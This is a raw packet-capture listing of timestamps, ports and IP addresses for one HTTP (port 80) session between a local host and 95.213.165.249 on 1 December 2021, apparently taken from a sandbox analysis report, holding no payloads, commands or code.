Dec 1, 2021 09:14:19.313937902 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.313939095 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.313961029 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.313982010 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.313990116 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.314006090 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.314028978 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.314033031 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.314050913 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.314074039 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.314084053 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.314094067 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.314116955 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.314124107 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.314169884 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.371437073 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371485949 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371514082 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371540070 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371567011 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371593952 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371622086 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371629000 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.371649027 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371654034 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.371659994 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.371678114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371704102 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.371705055 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371733904 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371762037 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371762991 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.371789932 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371808052 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.371817112 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371845961 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371872902 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371869087 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.371901989 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371915102 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.371928930 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371956110 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371984959 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.371984959 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372011900 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372040987 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372044086 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372067928 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372092962 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372096062 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372124910 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372142076 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372152090 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372179031 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372195959 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372208118 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372235060 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372262955 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372268915 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372292042 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372313023 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372319937 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372348070 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372374058 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372389078 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372400045 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372427940 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372446060 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372456074 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372481108 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372484922 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372513056 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372531891 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372539043 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372565985 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372592926 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372594118 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372620106 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372648001 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372651100 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372675896 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372703075 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372704029 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372733116 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372759104 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372769117 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372786999 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372811079 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372814894 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372842073 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372895956 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372910023 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372940063 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372956038 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.372967005 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.372996092 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373011112 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373024940 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373050928 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373068094 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373076916 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373104095 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373131037 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373131990 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373157978 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373178959 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373184919 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373214960 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373231888 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373241901 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373266935 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373282909 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373294115 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373321056 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373338938 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373347998 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373375893 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373398066 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373400927 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373429060 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373445988 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373455048 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373480082 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373497963 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373507977 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373534918 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373549938 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373562098 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373589993 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373606920 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373615980 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373645067 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373658895 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373671055 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373697996 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373717070 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373723984 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373750925 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373766899 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373778105 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373805046 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373822927 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373831034 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373858929 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373872995 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373888016 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373914003 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373934031 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373943090 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373967886 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.373989105 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.373997927 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374037981 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374042988 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.374073029 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374110937 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374115944 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.374146938 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374181986 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374195099 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.374222994 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374262094 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374269009 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.374296904 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374334097 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374345064 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.374372005 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374408960 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374416113 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.374449015 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374485970 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374495029 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.374531031 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374571085 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374578953 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.374605894 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374644995 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374651909 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.374682903 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374723911 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374727011 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.374763012 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374799013 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374811888 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.374835968 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374872923 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374887943 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.374911070 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374949932 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.374958992 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.374989033 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375030994 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375034094 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.375075102 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375114918 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375119925 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.375157118 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375197887 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375205040 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.375235081 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375272989 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375281096 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.375309944 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375353098 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375354052 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.375395060 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375432968 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375437975 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.375475883 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375515938 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375519991 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.375554085 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375593901 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375596046 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.375633001 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375673056 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375686884 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.375715971 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.375770092 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.432895899 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.432969093 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.432985067 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433007002 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433022976 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433047056 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433070898 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433087111 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433094025 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433125019 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433130026 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433163881 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433166027 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433199883 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433204889 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433234930 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433243036 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433270931 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433281898 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433309078 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433315992 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433347940 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433352947 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433386087 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433388948 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433422089 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433425903 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433459044 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433460951 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433500051 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433501959 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433535099 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433542013 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433573008 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433574915 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433612108 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433614016 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433653116 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433655024 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433693886 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433698893 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433732033 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433736086 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433769941 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433770895 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433809042 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433811903 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433847904 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433850050 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433886051 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433887959 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433926105 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433931112 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.433964968 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.433968067 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434005976 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434010983 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434045076 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434047937 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434084892 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434084892 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434125900 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434139013 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434164047 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434179068 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434206009 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434235096 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434247017 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434287071 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434315920 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434319973 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434328079 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434345007 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434365988 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434380054 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434405088 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434412003 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434442043 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434458971 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434478045 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434489012 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434515953 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434526920 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434557915 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434561968 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434600115 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434632063 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434639931 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434664011 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434676886 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434691906 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434714079 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434724092 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434751987 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434758902 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434788942 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434801102 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434829950 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434834957 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434869051 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434879065 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434909105 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434921026 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434948921 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.434954882 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.434988022 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435019016 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435024023 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435028076 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435065985 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435075998 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435105085 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435111046 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435144901 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435148954 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435183048 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435189009 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435223103 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435225964 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.435261965 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.435295105 CET	49795	80	192.168.2.4	95.213.165.249
